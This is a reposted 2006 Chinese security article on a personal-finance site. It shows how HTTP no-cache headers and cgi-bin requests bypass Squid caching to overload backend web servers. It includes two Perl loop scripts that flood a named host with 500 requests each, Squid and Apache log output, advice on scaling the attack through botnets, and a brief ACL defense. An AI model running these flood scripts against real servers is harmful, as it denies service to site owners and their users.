回首页
◎ 设为首页  
◎ 收藏本站  
◎ 联系我们  
首页 理财故事 专家点金 精打细算 我家财经 参考案例 生活 黄金 银行 保险 外汇 股票 基金 债券 期货 彩票 社保
论坛 创业人生 答疑解惑 商机无限 名人之路 科技致富 职场 收藏 古玩 字画 邮品 赏石 珠宝 旅游 汽车 科普 法规
网址 家居装饰 时尚丽人 家庭健康 大众饮食 电脑网络 数码 建站 娱乐 笑料 图片 文学 文摘 游戏 轶事 影音 链接
    首 页  理财之道  激情创业  银行保险  证券投资  收藏博览  消费指南  政策法规  休闲娱乐  科技之家  网站社区  
  当前位置:首 页 >> 科技之家 >> 建站宝典 >> 利用HTTP指令进行攻击——Cache篇
热 门 排 行
asp代码-注册登陆代码
中国明月网络提供8M永..
用透明Flash装扮好QQ..
HTML代码大全推荐
如何使网站顺利登录百度推荐
精彩教程:LOGO的制作..推荐
小区宽带主要常见故障..
网页制作学习入门教程..
用Flash制作一个网站..
SQL Server SQL语句导..
最 近 更 新
网页版权的正确写法
高性能表现的div+css..
DIV+CSS技术入门
SqlServer2005对现有..
常见的80004005错误及..
推广网站增加外链的方法
站长应掌握的九条平面..
搜索优化经验:百度降..
站长如何设计和优化网..
站长应如何定位自己的..
相 关 链 接
理财 基金 债券
金市 汇市 保险
收藏 期货 银行
     
最 新 推 荐
向马云学习如何做网站..推荐
做内容有价值的网站才..推荐
在网页中插入视频的方..推荐
在Access数据库中使用..推荐
网页小知识:注册/登..推荐
精彩教程:LOGO的制作..推荐
搜索引擎优化:关键词..推荐
网站设计:谈谈网页的..推荐
Flash中调用XML程序实..推荐
什么形式的网站是更有..推荐
站 内 搜 索
关键词

搜索方式

搜索范围

精确匹配
利用HTTP指令进行攻击——Cache篇

来源:居家理财网 等级:默认等级
发布于2006-12-07 05:09 被读88次 【字体: 】〖 访问论坛

技术背景

随着Web技术越来越广泛的应用到我们的生活,Web应用的架构的设计者和开发者不得不面对这么一个问题,那就是Web不断增长的访问量和负载,随之提升性能的相关技术应运而生,如DNS轮询、负载均衡、Cache技术等等。如果有兴趣,大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了squid反向代理,通过Squid的Cache提供高速Web响应。

攻击原理

Cache机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了Web服务提供商应对Get Flood的能力。

用户对网站的访问,大多被分布的Cache服务器分担了,由于Cache服务器的数量以及Cache的良好处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。

我们可以假设这样一种形势,如果攻击者可以穿过Cache,直接将负载压力传达到后台提供HTTP服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务受到影响,达到拒绝服务的效果。

那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过HTTP指令来达到此种攻击。

HTTP协议(v1.1和v1.0)都提供了Cache处理字段,其中字段Cache-Control(v1.0中为Pragma),当这个字段的值为no-cache时,大多数cache软件将不对请求作出响应,而直接将请求传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。

效果验证

为了验证这种理论上的攻击形式,Coolc架设了简单的应用环境进行验证

正常访问

而在正常情况下,Squid会在内存Cache中处理所有请求,可以发现大多数请求的压力根本无法到达Apache,而直接在Squid消化。如下所示,500个请求,只有一个到达了Apache,而这个访问,只是Squid为了到Apache拉取最初始的文件内容造成的。

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
    1
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print  $4'}|uniq -c
499 TCP_MEM_HIT/200

指令绕过

当Squid在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事将在访问日志中记为一条TCP_CLIENT_REFRESH_MISS。通过下面试验,我发送了500个带特殊标志位的HTTP请求,直接越过了Cache,而将压力直接加载到后台,下面的结果我们验证了效果。

用Pragma: no-cache绕过
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
    500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print  $4'}|uniq -c
500 TCP_CLIENT_REFRESH_MISS/200

用Cache-Control:no-cache绕过
root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l
    500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print  $4'}|uniq -c
    500 TCP_CLIENT_REFRESH_MISS/200

演示代码:

use IO::Socket;
# $host=shift(@ARGV);
 $i=1;
while ( $i<500) {
     $i++;
    print "n $in";
     $remote = IO::Socket::INET->new(Proto => "tcp",
    PeerPort => "80",
    #PeerAddr => "blog.xfocus.net"
    PeerAddr => "test.qq.com"
    )||die(print "cant't connet  $!");
     $remote->autoflush(1);
    print   $remote "GET /index.html HTTP/1.1rnAccept:image/gif image/x-xbitmap, 
image/jpeg,application/x-shockwave-flashrnReferer: http://www.google.comrnAccept:-
Language: zh-cnrnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 
SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)rnCache-Control:no-
cachernHOST:test.qq.comnn";
  #print < $remote>;
  close  $remote;
  #sleep 1;
    }

实际应用

利用配置问题

在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。

攻击原理

Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web系统的负担。

通过程序用GET方式访问500次不存在的文件“index.html。”

查看squid的日志,cache住了绝大多数请求。

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l
    499
root@coolc:~/squid-2.5.STABLE12# cat  squid_access.log |awk '{print  $4'}|uniq -c
499 TCP_NEGATIVE_HIT/404
root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
0

而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。

从Squid的配置文件里可以看到,Squid对于特殊错误的返回也是做了处理的,一样做了Cache。

#  TAG: negative_ttl    time-units
#       Time-to-Live (TTL) for failed requests.  Certain types of
#       failures (such as "connection refused" and "404 Not Found") are
#       negatively-cached for a configurable amount of time.  The
#       default is 5 minutes.  Note that this is different from
#       negative caching of DNS lookups.

是否有方式可以绕过cache机制和ACL限制,将类似404压力施加到服务器上?答案时肯定的,那就是通过访问cgi-bin目录下的文件。

通过执行攻击代码我们同样实现了对后台主机的攻击,穿透了Cache。

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print  $4'}|uniq -c
499 TCP_MISS/404

root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
499

从日志中可以发现如下痕迹。

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

实际上造成上述原因就死活因为默认配置中对于cgi-bin目录做了特殊处理,导致对于其放开了Cache的限制。

#  TAG: hierarchy_stoplist
#       A list of words which, if found in a URL, cause the object to
#       be handled directly by this cache.  In other words, use this
#       to not query neighbor caches for certain objects.  You may
#       list this option multiple times. Note: never_direct overrides
#       this option.
#We recommend you to use at least the following line.
hierarchy_stoplist cgi-bin ?
#  TAG: no_cache
#       A list of ACL elements which, if matched, cause the request to
#       not be satisfied from the cache and the reply to not be cached.
#       In other words, use this to force certain objects to never be cached.
#
#       You must use the word 'DENY' to indicate the ACL names which should
#       NOT be cached.
#
#We recommend you to use the following two lines.
acl QUERY urlpath_regex cgi-bin ?
no_cache deny QUERY

攻击代码:

use IO::Socket;
# $host=shift(@ARGV);
 $i=1;
while ( $i<500) {
     $i++;
    print "n $in";
     $remote = IO::Socket::INET->new(Proto => "tcp",
    PeerPort => "80",
    #PeerAddr => "blog.xfocus.net"
    PeerAddr => "test.qq.com"
    )||die(print "cant't connet  $!");
     $remote->autoflush(1);
    print   $remote "GET /cgi-bin/index.html1 HTTP/1.1rnAccept:image/gif image/x-
xbitmap, image/jpeg,application/x-shockwave-flashrnReferer: 
http://www.google.comrnAccept:-Language: zh-cnrnUser-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
rnHOST:test.qq.comnn";
  #print < $remote>;
  close  $remote;
  #sleep 1;
    }

扩展思路

当然目前这种攻击方式还仅仅是理论上的攻击,比如攻击代码单线程,攻击IP和特征明显。很容易被识别并作ACL过滤。但是当我们扩展思路,如果我们利用大量的botnet或代理,变化所访问的文件和HTTP指令内容进行攻击,那么造成的攻击将会更加有威力,并且难以识别。同时由于攻击负责将直接加载于后台,那么作为防御方的主机资源优势也大打折扣。

防御方法

最简单有效的方法无非是通过SQUID的配置中加载ACL禁用no-cache指令,不过此方法往往只在静态页面的服务器比较容易实现。

如:

acl LocalServers dst 192.168.8.0/24
no_cache deny LocalServers

总结

实际上HTTP指令的攻击不仅仅与此,本身HTTP协议的扩展协议指令一样有很多有待挖掘的地方,对于此种攻击思路,虽然Coolc目前还没看到相关的描述,但是个人感觉也许在地下组织中,这些思路早已出现,甚至已经有了成熟的工具,coolc在这里全当抛砖引玉,希望对网络安全有兴趣的同仁可以同我联系,共同讨论研究。

 赛迪网


(您想天天免费看到如此及时全面的资讯吗?请点击此处将居家理财网加入您的收藏夹就可以了。点击此处将居家理财网设为您的上网首页。)
  居家理财网-- www.jj86.com

※非常感谢您阅读本页!※内容仅供参考,不构成任何行为依据※!暂无相关专题

上一篇:搜索引擎优化:关键词与网页的相关性
下一篇:简析网络安全中的人为恶意攻击与漏洞

共有评论 0 条 网友评分 0分 查看全部

【发表评论】 评分:1分 2分 3分 4分 5分


 版权申明
1、 发表文章作品必须依法行事;所有文章及相关评论仅代表作者本人观点,与本站立场无关。
2、 本站刊登该文章只为交流之用,无任何营利目的,如有侵犯或不妥,请直接与我们联系。
3、 原创文章或评论版权归本站和作者共有;转载的文章及其它作品,版权归原发表单位及作者所有。
4、 由于来自于网上部分文章无法查证原作者和出处,如署名或出处有误,请直接与我们联系。
5、 如果转载,务必注明作者与出处;从本站转载请标注:文章来源:居家理财网
论坛内容更精彩,欢迎参与讨论交流!
网址大全 网上投稿 广告服务 服务条款 人才招聘 笑话大全 设为首页 加入收藏夹 友情链接 网站建设
本站永久域名:☆www.jj86.com Rss 2.0
      Copyright © 2004-2005 居家理财网 All Right Reserved.吉ICP备05003931号
     
 推荐↑ 关闭╳
 推荐↑ 关闭╳